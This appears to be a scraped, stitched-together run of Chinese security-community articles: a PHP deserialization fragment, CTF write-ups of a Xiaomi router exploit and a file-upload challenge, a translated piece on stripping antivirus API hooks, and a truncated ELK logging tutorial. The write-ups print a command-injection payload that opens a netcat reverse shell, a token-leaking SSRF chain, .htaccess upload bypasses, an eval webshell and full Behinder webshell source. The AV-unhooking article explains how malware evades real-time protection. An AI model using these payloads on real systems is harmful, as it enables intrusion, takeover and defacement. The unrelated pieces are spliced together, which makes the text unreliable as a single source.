use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
$a = new Local();
$b = new Adapter($a);
echo urlencode(serialize($b));
?>
成功写入 | 社区文章 |
# 关于我们在强网杯上小米路由器非预期解这件小事
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在刚刚结束的2021年的强网杯线下总决赛中，我们战队总共解了两道Real
World类型的题目（太菜了，流下了不学无术的泪水），其中一道就是关于小米路由器Pro，我们提供了一种主办方没有预料到的解题思路。这篇文章除了是一篇WriteUP提供非预期解的思路外，更多的是对于我第一次在赛场中挖掘RW题目漏洞的一些过程经验以及一些想法与思考
再次感谢队友 **JBGG师傅** 和 **Tree师傅** 的帮助 (>ω<)
PS.1：今年强网杯的酒店确实好了不少，自助餐也很不错哦，就是茶歇会晤经常吃不到茶歇。自己确实也太菜了，之前都在去忙一些学术研究和中科院信工所的夏令营，生疏了很多
PS.2：漏洞内容已经和小米SRC团队进行过沟通，他们表示是内部已知，应该是可以直接公开EXP或者POC的
## 一、前期 – 文件系统提取
比赛一开始，志愿者就给每个队伍发放了一个小米路由器Pro的本体，还有一个U盘，U盘里面存放了所有的RW题目。然后我打开U盘看了看MIROUTE赛题，只有一个index.html，我懵了
这次强网杯比赛真的一开始准备很不充足，也没有预料到真的会直接发一个硬件本体叫选手挖，竞赛网站上也没有硬件的固件下载。真的完全没有准备去要做硬件设备固件提取的工具，看了看隔壁清华Redbud战队的Clang大佬带了烙铁、锡、吸锡带、排针、排线、串口转USB、蓝牙
usb dongle、wifi抓包网卡、抓包树莓派、测试夹、编程器、Arduino等等，工具真的齐全。看了看自己就一台破笔记本，一根网线，心理压力突然剧增
但是没有关系，在两年前曾经参加过小米路由器的内测活动，接触过他们的开发团队，大家都知道几年前小米路由器的固件是有多么拉跨（虽然这两年的AX系列还是挺不错的），所以我坚信这台几年前的小米Pro一定是有洞可以挖的，先看看题目要求把
对于所有的IoT题目而言，最初始的第一步都是提取相应设备的固件或者文件系统。如果准备充分的话，是可以直接用硬件提取出固件系统的，但是，但是我没有。然后发现这台路由器刷写的应该是开发版的ROM，小米路由器开发版的ROM都是可以开始SSH服务的，阅读了一下题目要求，这台小米路由器Pro是已经开启了SSH服务，有了SSH服务就可以进行很多操作了
然后这里我发现断网用LAN口去调试小米路由器很不方便，因为断网没有办法边查资料边探索，于是我想起我们的比赛环境的网络是直接可以连接外网的，于是我将WAN口连接上我们的比赛网络，然后其他队员的电脑连接上路由器的LAN口，这样我们就可以边调试路由器边连接外网查阅资料继续打其他题目，而且多个队员可以同时调试路由器，极大地提高了效率
然后有了SSH服务，我的想法是能否直接通过SFTP服务，将文件系统直接打包Copy下来，然后我发现我错了。小米路由器的开发版固件都是已经把sftp服务删除了的，需要自行安装sftp服务。然后我发现网络上大部分的小米路由器安装sftp服务的教程都已经不适用了，因为现在的固件上都只有`\data`和`\tmp`目录是有读写权限的。那这怎么办呢，我想了一想，之前自己玩小米路由器3、4的时候，常常会安装一个插件工具箱，这些工具箱常常都会提供，比较常用的就是Misstar
Tools工具箱。然后小米路由器4和小米路由器Pro采用的都是同一款MTK基于MIPS的Soc叫做MT7621a的芯片，所以大部分经验应该是相通的
然后我在这台小米路由器Pro上成功部署了Misstar Tools工具箱
但是问题来了，我在这台小米路由器Pro上使用Misstar
Tools没有能找到关于sftp的工具，后面我寻找到了另外一款工具箱叫做[MIXBOX](https://github.com/monlor/MIXBOX-ARCHIVE)，浏览页面刚好支持我们的MT7621A系列的小米路由，于是安装上了，这里我使用的是Github的源安装
sh -c "$(curl -kfsSl https://raw.githubusercontent.com/monlor/mbfiles/master/install_github.sh)" && source /etc/profile &> /dev/null
安装完成后的效果
这个时候我们只需要安装一个filebrowser插件就可以很方便的直接浏览提取小米路由器的文件系统，安装后得先启用
然后在浏览器中就可以直接把整个路由器的文件系统下载下来
现在我们就拿到了目标设备的一部分固件和文件系统，可以开始进行漏洞挖掘的工作了
我将赛题的文件系统已经上传到Gitee上了：[qwb-miroute](https://gitee.com/zeroaone/qwb-miroute)
## 二、漏洞挖掘与利用
### 2.1 信息收集确定目标
后来竞赛系统提供了路由器管理页面的登陆密码，我们登录进去了，然后可以发现这个路由器的ROM是基于小米路由器Pro
最新的开发版2.13.65，我们从官网上将这个版本的路由器固件下载下来并进行了解包，我们一开始没有将两个版本的固件进行对比（太蠢了，失误了，没经验），我的第一反应是收集小米路由器最近有关的CVE漏洞情况
我们的第一个收集网站就是小米自己的[产品安全中心](https://trust.mi.com/zh-CN/psirt/bulletins)，上面可以看到一些最新的小米产品已知的漏洞信息
我们可以从中得知以下几个已知漏洞：
* CVE-2020-11960：AX3600路由器解压逻辑错误导致代码执行，`c_upload`接口在检查备份文件时存在漏洞，使攻击者能够提取`/tmp`中任何位置的恶意文件，可能导致RCE和DoS
* CVE-2020-11961：AX3600路由器敏感信息泄露，一个不安全的接口`get_config_result`没有进行鉴权导致的敏感信息泄露
* CVE-2020-14904：AX3600路由器后台命令注入绕过，可以通过Web界面注入连接服务，从而导致堆栈溢出或远程执行代码
* CVE-2020-018：AX3600路由器后台目录穿越，可以通过Web界面注入连接服务，从而导致堆栈溢出或远程执行代码
* CVE-2020-14100：miwifi6 AX3600后台命令注入绕过，可绕过set_wan6接口中的过滤器，导致远程代码执行。路由器管理员可以从这个漏洞得到root权限
* CVE-2020-14097：路由器nginx配置错误，错误的nginx配置, 导致特定路径可以被未授权下载
* CVE-2020-14098：路由器后台鉴权绕过，可利用路由器重启后时间未同步的问题绕过登录校验
* CVE-2020-14102：路由器后台命令注入，ddns处理hostname时存在命令注入, 导致管理员用户可以获取路由器的root权限
* CVE-2020-024：路由器web管理界面token泄露，路由器web管理界面的数据采集sdk导致了token的泄露
* CVE-2020-14099：路由器用户备份文件加密方案存在安全问题，用户备份文件的加密方案使用了硬编码密钥, 导致用户的口令等敏感信息可能被泄露
这几个CVE是长亭公司挖的漏洞，具体可以参考以下几篇文章
* <https://zhuanlan.zhihu.com/p/245070099>
* HITCON 2020的议题 `Exploit (Almost) All Xiaomi Routers Using Logical Bugs`
然后进行Google Hacking还发现一些小米路由器的历史CVE漏洞，大概有以下几个
* CVE-2018-14060：小米路由器HD（R3D）远程代码执行漏洞
* CVE-2018-13023：Command Injection in wifi_access Functionality
我们可以总结出小米路由器系统大概存在以下几个问题：
* Nginx的配置经常出问题，不乏一些十分严重的配置错误信息
* 小米路由器会存在一些Token泄露的问题
* 小米路由器存在后台鉴权绕过
* 小米路由器使用的是OpenWRT改的系统，采用的图形管理页面也是luci，所以luci采用的lua脚本逻辑控制代码中，应该会存在许多的逻辑处理问题
我们发现长亭的一些漏洞已经被Patch过了，也就是我们手上的固件是已经被修改过的，那么我们这个赛题应该是预埋了漏洞的题目。虽然已经Patch过了，但是我发现很多的lua文件是没有被修改过的，也就是还存在着可以利用的点
### 2.2 开始挖掘与利用
首先在固件路径/etc/sysapihttpd/sysapihttpd.conf的Nginx配置文件中第361行开始
server {
location / {
proxy_pass http://$http_host$request_uri;
}
}
变量”$http_host”可以包含不受信任的用户输入，导致存在SSRF攻击，SSRF攻击的Payload如下（可以造成SSRF攻击的端口
GET / HTTP/1.1
Host: 127.0.0.1:8960
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Referer: http://192.168.31.1/cgi-bin/luci/web
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: __guid=86847064.961667553213477100.1625900926845.912; monitor_count=1
Connection: close
当成功利用SSRF攻击后，我们还发现luci程序api接口中存在可以绕过鉴权泄露token的漏洞
在\usr\lib\lua\luci\dispatcher关于鉴权的判断，也就是在631行中isremote的判断中存在可以绕过的逻辑，只要`ip ==
"127.0.0.1" and host == "localhost"`，即可绕过验证
local isremote = ip == "127.0.0.1" and host == "localhost"
if _sdkFilter(track.flag) and not isremote then
local sdkutil = require("xiaoqiang.util.XQSDKUtil")
if not sdkutil.checkPermission(getremotemac()) then
context.path = {}
luci.http.write([[{"code":1500,"msg":"Permission denied"}]])
return
end
end
if not isremote and not _noauthAccessAllowed(track.flag) and track.sysauth then
local sauth = require "luci.sauth"
local crypto = require "xiaoqiang.util.XQCryptoUtil"
local sysutil = require "xiaoqiang.util.XQSysUtil"
local isBinded = sysutil.getPassportBindInfo()
local authen = type(track.sysauth_authenticator) == "function"
and track.sysauth_authenticator
or authenticator[track.sysauth_authenticator]
local def = (type(track.sysauth) == "string") and track.sysauth
local accs = def and {track.sysauth} or track.sysauth
local sess = ctx.urltoken.stok
local sdat = sauth.read(sess)
local user
if sdat then
if ctx.urltoken.stok == sdat.token and (not sdat.ip or (sdat.ip and sdat.ip == ip)) then
user = sdat.user
end
else
local eu = http.getenv("HTTP_AUTH_USER")
local ep = http.getenv("HTTP_AUTH_PASS")
if eu and ep and luci.sys.user.checkpasswd(eu, ep) then
-- authen = function() return eu end
local logger = require("xiaoqiang.XQLog")
logger.log(4, "Native Luci: HTTP_AUTH_USER & HTTP_AUTH_PASS")
end
end
泄露token的漏洞文件在/usr/lib/lua/luci/controller/api/xqsystem中，漏洞函数renewToken位于第499行
function renewToken()
local datatypes = require("luci.cbi.datatypes")
local sauth = require "luci.sauth"
local result = {}
local ip = LuciHttp.formvalue("ip")
if ip and not datatypes.ipaddr(ip) then
ip = nil
end
local session = sauth.available(ip)
if session and session.token then
result["token"] = session.token
else
local token = luci.sys.uniqueid(16)
sauth.write(token, {
user="admin",
token=token,
ltype="2",
ip=ip,
secret=luci.sys.uniqueid(16)
})
result["token"] = token
end
result["code"] = 0
LuciHttp.write_json(result)
end
当利用SSRF伪装成内网访问这个API的时候就可以泄露一个Token，利用payload如下
curl -v http://192.168.31.1:8197/cgi-bin/luci/api/xqsystem/renew_token -H 'Host: localhost'
漏洞验证成功返回token
(base) syc@ubuntu:~/Desktop/miroute/qwb-miroute$ curl -v http://192.168.31.1:8197/cgi-bin/luci/api/xqsystem/renew_token -H 'Host: localhost'
* Trying 192.168.31.1:8197...
* Connected to 192.168.31.1 (192.168.31.1) port 8197 (#0)
> GET /cgi-bin/luci/api/xqsystem/renew_token HTTP/1.1
> Host: localhost
> User-Agent: curl/7.71.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: close
< Tx-Server: MiXr
< Date: Sun, 11 Jul 2021 03:55:43 GMT
< Cache-Control: no-cache
< Expires: Thu, 01 Jan 1970 00:00:01 GMT
< MiCGI-Switch: 0 1
< MiCGI-Client-Ip: 127.0.0.1
< MiCGI-Host: localhost
< MiCGI-Http-Host: localhost
< MiCGI-Server-Ip: 127.0.0.1
< MiCGI-Server-Port: 80
< MiCGI-Status: CGI
< MiCGI-Preload: no
< XQ-Mark: subfilter
<
* Closing connection 0
{"token":"1182ef5f4df21732ef537e0ec7698e78","code":0}(base)
通过泄露Token后，发现Command Injection in wifi_access Functionality
(CVE-2018-13023)漏洞没有被修复，利用这个CVE进行漏洞注入，即可获得root权限的反射shell，具体的payload如下：
GET /cgi-bin/luci/;stok=bf632940b33ef5ffdf7b55b6c80ae94b/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=sns&grant=1&guest_user_id=guid&timeout=%3bmkfifo+/tmp/p%3bcat+/tmp/p|/bin/sh+-i+2>%261|nc+192.168.31.62+8888+>/tmp/p+%23 HTTP/1.1
Host: localhost
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Referer: http://192.168.31.1/cgi-bin/luci/web
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
即可实现针对小米路由器的RCE，具体针对这个赛题，我们在拿到具有root权限的Shell后，发现小米路由器Pro的大部分分区都已经硬件完成的只读，只有`\data`和`\tmp`两个区域是可读写的，而路由器的登录页面存在于`\www`目录，那如何成功修改我们的黑页呢？
我们采取的手段是强行停止路由器的HTTP服务器，重新书写配置文件，将重新运行的路由器HTTP服务器默认目录指向我们布置在`\data`分区的黑页，即可完成最后的黑页修改
关闭web服务：
/usr/sbin/sysapihttpd -c /etc/sysapihttpd/sysapihttpd.conf -s stop
下载test.conf与index.html：
wget http://192.168.31.62:60080/test.conf && wget http://192.168.31.62:60080/index.html
我们jbgg编写的conf：
user root root;
worker_processes 1;
worker_rlimit_nofile 512;
worker_priority -5;
daemon on;
error_log stderr warn;
events {
use epoll;
worker_connections 256;
}
http {
default_type application/octet-stream;
log_format main '"$server_addr"\t"$host"\t"$remote_addr"\t"$time_local"\t"$request_method $request_uri"\t"$status"\t"$request_length"\t"$bytes_sent"\t"$request_time"\t"$sent_http_ MiCGI_Cache_Status"\t"$upstream_addr"\t"$upstream_response_time"\t"$http_referer"\t"$http_user_agent"';
access_log off;
sendfile on;
#tcp_nopush on;
server_tokens off;
keepalive_timeout 0;
client_max_body_size 0;
fastcgi_connect_timeout 300;
fastcgi_read_timeout 300;
fastcgi_send_timeout 300;
#fastcgi_buffering off;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 32k;
fastcgi_busy_buffers_size 64k;
fastcgi_temp_file_write_size 64k;
server {
listen 80;
server_name _;
access_log off;
log_not_found off;
keepalive_timeout 0;
send_timeout 60m;
root /tmp;
index index.html index.htm;
reset_timedout_connection on;
expires epoch;
}
}
然后重启HTTP服务器，完成黑页的修改：
/usr/sbin/sysapihttpd -c /tmp/test.conf
**ROIS PWN！**
这里可以参考淼哥大佬的环境复现指南：
* 购买个小米路由器Pro R3P
* 刷开发版2.13.65
* 开ssh（[https://zhuanlan.zhihu.com/p/355522733）](https://zhuanlan.zhihu.com/p/355522733%EF%BC%89)
* 修改traffic.lua，埋漏洞
cp -r /usr/lib/lua/ /tmp/
vi /tmp/lua/traffic.lua
mount -o loop /tmp/lua/ /usr/lib/lua/
* 可以开始复现了
## 四、结尾
当 **HACKED BY ROIS**
的字符打在大屏幕的时候，内心的激动是难以言喻的，这也算是自己进入CTF生涯以来，第一次现场对真实环境挖掘漏洞，并真的成功进行利用了。真的是太激动了，熬夜了一个晚上的努力最终有了成果
后来从主办方和出题人方面了解到，我们通过SSRF进而绕过鉴权是这个比赛的非预期解，也是主办方没有挖到的漏洞。算上我们一共3个队伍是拿token做的，还有1个队伍是某服务堆溢出做的
关于正规的预期解可以查看清华Redbud战队的Clang大佬和淼哥两位IoT领域大佬的WP，主要就是利用了一个`traffic.lua`的服务。强烈建议多看看Clang大佬的博客，对于IoT设备的漏洞挖掘有很深的帮助，他还是HWS夏令营的培训导师。在2019年的XCTF福州营认识他，那时候我还是大一的学生，开启了对于IoT漏洞挖掘的新世界
* [强网杯 2021 线下 RW Mi Router | Clang裁缝店 ](https://xuanxuanblingbling.github.io/iot/2021/07/15/mirouter/)
* [mirouter-wp · ReAbout](https://github.com/ReAbout/ctf-writeup/blob/master/qwb-2021-final/mirouter-wp.md)
2021年强网杯的RW题目的百度云盘链接如下：
https://pan.baidu.com/s/1ax_Vl7ModeuZbBZ4u1QOeQ 提取码: ypxu
我大概得出了以下经验：
* 要学会利用先用的工具快速的完成一些基础操作
* 要尽量去收集一些既有的CVE漏洞可以快速的找到挖掘的方向
* 对于挖掘真实环境的漏洞，单一技能树是不行的，一定要掌握多种技能树，因为现实的环境是复杂的
* 对于既有固件或者源码可以进行对比，快速定位Patch或者不同点，也可以快速发现挖掘的方向
再次感谢队友们，和之前帮助过的老师与师傅们 | 社区文章 |
# 记一次对津门杯web-upload的详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
最近在学习一些ctf的东西，所以自己想从一个小白的身份，复现一些web的漏洞。学习一些大佬的思路！
一、文件上传漏洞常规思路
1.首先这个是一道文件上传题，常规思路就是上传png、gif等进行bp抓包进行绕过限制
这里普及一下文件上传漏洞的知识。
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的，“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。
常见web上传漏洞的解题手法大致分为白名单和黑名单
常用工具：冰蝎、蚁剑、中国菜刀等等+php一句话木马。
文件上传靶机推荐：<https://github.com/c0ny1/upload-labs>
## 二．津门杯文件上传wp
1.现在回到我们的题，我先使用php写入一句话木马，然后改为png格式，进行上传。
2.发现可以上传，但是没有解析。
3.然后看看响应包，直接302了。说明注入和常规文件上传思路都没戏的！
4.然后从源码出发，看了看源码发现不能注入，也不能绕过上传。
5.然后看到了这个php规则。经过百度之后发现先知一位大佬写了：<https://xz.aliyun.com/t/8267>
<Directory ~ “/var/www/html/upload/[a-f0-9]{32}/”> php_flag engine
off</Directory>
## 三、解题思路（1）
1.开始构造文件上传文件
2.新建.htaccess文件
第一个文件叫.htaccess
内容是:
<FilesMatch “1.png”>
SetHandler application/x-httpd-php
php_flag engine on
</FilesMatch>
3.新建1.png，进行文件上传
第二个文件名叫1.png
<?php eval($_GET[‘cmd’]);?>
4.先上传.htaccess文件，然后再上传.png文件，上传的png文件就会被解析了。
5.上传.htaccess文件
6.上传png文件
7.然后找到上传图片的路径
<img src=”upload/e8be345643e019844763188240c38377/1.png”>
8.读文件
<http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png>
成功上传，解析
9.读phpinfo
/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=phpinfo();
10.扫目录
/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=var_dump(scandir(%22/%22));
/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=readfile(%22/flag%22);
## 方法2:
冰蝎：地址：<https://github.com/rebeyond/Behinder>
首先访问站点
真nm嚣张，干你走起
因为配置文件中使用<directory>禁止了upload沙盒解析，所以需要上传.htaccess，随便选择一个文件，通过Burp抓包修改参数如下
解释一下，将文件名和文件内容修改为.htaccess还不够，还需要将.htaccess放至站点目录之下
之后上传冰蝎马（当然期间还上传了一句话和大马）
直接连你，密码为rebeyond，成功getshell
在根目录下找到flag，flag为 flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}
冰蝎马如下
<?php
@errorreporting(0);
session_start();
$key = ”e45e329feb5d925b”; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
$_SESSION[‘k’] = $key;
session_write_close();
$post = file_get_contents(“php: //input”);
if (!extension_loaded(‘openssl’)) {
$t = ”base64“ . ”decode”;
$post = $t($post . ””);
for ($i = 0;$i < strlen($post);$i++) {
$post[$i] = $post[$i] ^ $key[$i + 1 & 15];
}
} else {
$post = openssl_decrypt($post, "AES128", $key);
}
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];
class C {
public function __invoke($p) {
eval($p . "");
}
}
@call_user_func(new C(), $params);
?>
## 方法3：NulL大佬的脚本
<If “file(‘/flag’)=~ /”’flag{xxxx”’/”>
ErrorDocument 404 “wupco”
</If>
原理：匹配不到就返回404且有wupco这个字符串，直接脚本逐位爆破
import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
htaccess = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco"
</If>
'''
resp = requests.post("http://122.112.248.222:20003/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
总结：复现过程中遇到了一些自己从来没有遇到的问题。也碰到了很多没有接触过的知识，感谢在复现过程中提供思路的朋友。感觉到自己技术还有很多不足的地方，希望会的大佬跳过，大佬勿喷！我就是菜弟弟。 | 社区文章 |
# 从内部破解反病毒软件的实时保护功能
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://breakdev.org/defeating-antivirus-real-time-protection-from-the-inside/>
译文仅供参考，具体内容表达以及含义原文为准。
各位读者下午好。在这篇文章中，我准备跟大家讨论一下反病毒软件的实时保护机制。在此之前，我曾对反病毒软件的实时保护机制进行了一段时间的研究，并且发现了一些行之有效的方法来绕过这种防护机制。值得注意的是，这种方法甚至可以帮助恶意软件躲避沙箱环境中的分析检测，但是我还没有对这部分功能进行过测试。
在我的测试过程中，我所使用的反病毒软件为BitDefender。它可以在用户模式下对系统中的每一个进程进行实时保护，并通过监视Windows应用程序编程接口（API）的调用情况来检测可疑的行为模式。
可能有的读者并不了解BitDefender。BitDefender是一款来自罗马尼亚的安全软件，该公司成立于2011年，是SOFTWIN的子公司，公司总部设于罗马尼亚首都布加勒斯特。BitDefender的安全防护套件可以为各种规模的企业和个人用户提供先进的信息安全保护服务。凭借病毒防护软件等多种安全管理工具，BitDefender可以为运行在Windows/Linux/FreeBSD等平台下的桌面计算机，网关，Internet服务器，邮件和文件服务器等网络环境中的一切安全薄弱环节提供全面的安全防护。
事不宜迟，让我们赶紧开始吧。
反病毒软件中的实时保护功能是什么？
虽然通过程序签名来检测恶意软件的这种方法仍然是可行的，但是这种方法并不是最有效的。现在，越来越多的恶意软件更倾向于使用多层加密算法或者代码混淆技术来躲避传统反病毒软件的检测。最新一代的反病毒软件采用了行为监测分析技术，它们会对计算机中的每一个运行进程进行监控，尝试寻找出可疑的行为模式，并通过这些因素来识别计算机是否受到了恶意软件的感染。
现在，我给大家举个例子。假设有一个软件，它并没有提供任何形式的用户接口（例如对话框或程序窗口等等）。当它启动之后，它需要与一台位于罗马尼亚的外部服务器进行连接，并下载服务器中存储的文件。这种行为是非常可疑的，大多数带有实时保护功能的反病毒软件都会阻止这样的操作行为，并将其标记为危险进程。
现在你可能想问，这种实时保护功能到底是怎样工作的？为什么反病毒软件能够知道这些进程打算要做什么？在大多数情况下，防病毒软件会将自己的代码注入至运行态的进程中，然后为特定的Windows
API接口安装钩子函数，这种机制将会大大提升安全防护软件的检测效率。在API钩子的帮助下，反病毒软件不仅可以查看到哪一个函数被调用了，而且还可以了解具体函数被调用的时间和传递进来的参数。
接下来，让我们看一看“CreateFileW”API（从kernel32.dll库中引入）的钩子函数是什么样子的。
函数代码的初始形式如下图所示：
如果反病毒软件需要为该函数设置一个钩子，它将会利用一条JMP指令替换函数前几个字节的原始数据，这样就可以将函数的执行流重定向至它的钩子处理函数中。通过这样的方式，反病毒软件就可以用堆栈内存中所有的参数来为这个API进行注册了。在反病毒软件的钩子函数完成了操作之后，它们将会执行函数的初始代码（此前被JMP指令所替换的那部分代码），然后跳转到进程的API函数，并继续运行进程。
注入了JMP指令的函数代码如下图所示：
设置钩子函数的方法有很多，但是这种设置方法的速度是最快的，而且也并不会对代码的执行效率产生过多的影响。
既然大家已经知道反病毒软件实时保护功能的工作机制了，那么我就可以开始跟大家讲解绕过这一保护机制的方法了。
目前市场上绝大多数的反病毒软件都会在内核模式（Ring0）下进行实时监控，但是这一话题已经超出了这篇文章的讨论范围了。在这篇文章中，我只会讨论如何在用户模式（Ring3）下绕过反病毒产品的监控和检测。
移除钩子函数－攻击者扔出的烟雾弹
正如你所知道的那样，实时保护功能依赖于API钩子函数的执行。只有当反病毒软件的钩子处理函数得到了执行，防护软件才能注册并调用这个API，实时监控传递的参数，并映射出进程的活动。
很明显，如果要完全禁用反病毒软件的保护功能，我们需要移除API钩子。这样一来，防护软件就无法检测到我们接下来所进行的任何操作了。
在我们自己的应用程序中，我们可以自由地管理和控制整个进程的内存空间。对于我们的程序而言，反病毒软件和它的注入代码相当于是一个入侵者，它会试图篡改我们的软件功能，但是现在一切都在我们的掌控之中。
操作步骤如下所示：
1\. 枚举出当前进程中加载的全部DLL库。
2\. 找出每一个DLL库中API函数的入口地址。
3\. 移除注入的JMP指令，并将其替换成API函数的初始代码。
操作看起来似乎非常的简单，但是我们可能会在恢复API函数初始代码的这一步操作中遇到一些麻烦。毫无疑问，我们可以从钩子函数中获取到初始数据，但是我们并不知道钩子处理器中的哪一部分代码是API函数的初始代码。那么，接下来我们应该怎么做呢？
答案就是：分别读取磁盘中存储的DLL库文件，并手动获取DLL文件中所包含的完整初始代码。
为了找出“CreateFileW” API代码中前16字节的初始数据，具体的操作步骤如下：
1\. 从Windows的系统文件夹中读取kernel32.dll文件的内容，并将数据读入内存。我将引入的模块命名为raw_module。
2\. 获取到我们当前进程中所引入的kernel32.dll模块的基地址。我将引入的模块命名为“imported_module”。
3\.
利用imported_module的基地址，手动修复raw_module的固定地址。这样就可以让这些模块的固定地址在内存引用中和当前的imported_module中看起来是相同的了。
4\. 解析raw_module模块的输出数据，并找到“CreateFileW” API的地址。
5\. 根据第四步中得到的API地址，提取出原始的前16个字节的数据。
这样就可以有效地利用API的初始代码重写当前的JMP指令了。
总结
正如我在文中介绍的那样，在用户模式下，反病毒软件和沙箱软件无法检测和防止我所描述的这种绕过技术。只有在内核模式下，它们才能够通过监控内核的进程活动来检测恶意的行为模式。
虽然防护软件能够检测到恶意软件移除钩子函数的行为，并重新为API设置钩子。但是恶意软件又会再一次移除API中的钩子函数，这种猫捉老鼠的游戏将会一直持续下去。为此，我打算对这一系列的运行模式进行更深层次的分析，而且我将会对当前所有流行的沙箱软件进行分析，我会在第一时间将分析结果公布出来。
与之前一样，我希望大家能够各抒己见，而且我也很希望能够了解到大家的观点和看法。各位可以关注我的Twitter账号：[@mrgretzky](https://twitter.com/mrgretzky)，或者通过电子邮件（[[email protected]]([email protected])）来与我取得联系。
由于篇幅有限，如需获取完整信息，请您阅读原文。下次再见啦！ | 社区文章 |
# 前言
一般我们需要进行日志分析场景：直接在日志文件中 `grep`、`awk`
就可以获得自己想要的信息。但在规模较大的场景中，此方法效率低下，面临问题包括日志量太大如何归档、文本搜索太慢怎么办、如何多维度查询。需要集中化的日志管理，所有服务器上的日志收集汇总。常见解决思路是建立集中式日志收集系统，将所有节点上的日志统一收集，管理，访问。ELK提供了一整套解决方案，并且都是开源软件，之间互相配合使用，完美衔接，高效的满足了很多场合的应用。
# ELK
`ELK`是三个开源项目的首字母缩写，这三个项目分别是：`Elasticsearch`、`Logstash`
和`Kibana`。`Elasticsearch` 是一个搜索和分析引擎。`Logstash`
是服务器端数据处理管道，能够同时从多个来源采集数据，转换数据，然后将数据发送到诸如 Elasticsearch 等“存储库”中。`Kibana`
则可以让用户在`Elasticsearch` 中使用图形和图表对数据进行可视化。
## Elasticsearch
`Elasticsearch` 是一个实时的分布式搜索分析引擎，它能让你以前所未有的速度和规模去检索你的数据。
下载地址：<https://www.elastic.co/cn/downloads/elasticsearch>
### 配置
下面列举一下常见的配置项
* `cluster.name`：集群名称，默认为`elasticsearch`。
* `node.master`：该节点是否可以作为主节点（注意这里只是有资格作为主节点，不代表该节点一定就是master），默认为`true`
* `node.name`：节点名称，如果不配置es则会自动获取
* `path.conf`：配置文件路径，默认为es根目录的config文件夹
* `path.data`：配置索引数据的文件路径，默认是es根目录下的data文件夹，可以设置多个存储路径，用逗号隔开
* `path.logs`：配置日志文件路径，默认是es根目录下的logs文件夹
* `path.plugins`：配置es插件路径，默认是es根目录下的plugins文件夹
* `http.port`：es的http端口，默认为9200
* `transport.tcp.port`：与其它节点交互的端口，默认为9300
* `transport.tcp.compress`：配置是否压缩tcp传输时的数据，默认为false，不压缩。
* `network.bind_host`：配置绑定地址，默认为0.0.0.0
* `network.publish_host`：设置其他节点连接此节点的ip地址，如果不设置的话，则自动获取，`publish_host`的地址必须为真实地址
* `network.host`：同时设置`bind_host`和`publish_host`这两个参数
* `http.enabled`：是否对外使用http协议，默认为true
* `index.number_of_replicas`：设置索引副本个数，默认为1
* `http.cors.enabled`：是否支持跨域，默认为false
* `http.cors.allow-origin`：当设置允许跨域，默认为*
### 测试
了解的配置文件项之后我们可以来进行简单的配置
`vim config/elasticsearch.yml`
cluster.name: master
node.name: elk-1
path.data: /data/es
path.logs: /var/log/es/
bootstrap.memory_lock: true
network.host: 0.0.0.0
http.port: 9200
http.cors.enabled: true
http.cors.allow-origin: "*"
然后启动es
bin/elasticsearch
检查服务端口是否正常监听
[qiyou@example es]$ netstat -utnl|grep -E "9200|9300"
tcp6 0 0 127.0.0.1:9200 :::* LISTEN
tcp6 0 0 ::1:9200 :::* LISTEN
tcp6 0 0 127.0.0.1:9300 :::* LISTEN
tcp6 0 0 ::1:9300 :::* LISTEN
检查es是否正常工作，可以看到是正常工作的
[qiyou@example es]$ curl -i -XGET 'localhost:9200/_count?pretty'
HTTP/1.1 200 OK
content-type: application/json; charset=UTF-8
content-length: 114
{
"count" : 0,
"_shards" : {
"total" : 0,
"successful" : 0,
"skipped" : 0,
"failed" : 0
}
}
上面用命令检索数据来是不是感觉麻烦，我们可以安装es插件`elasticsearch-head`，项目链接：<https://github.com/mobz/elasticsearch-head>
git clone git://github.com/mobz/elasticsearch-head.git
cd elasticsearch-head
npm install
npm run start
检查是否正常启动
netstat -untl|grep 9100
tcp 0 0 0.0.0.0:9100 0.0.0.0:* LISTEN
然后访问`http://localhost:9100/`即可
## Logstash
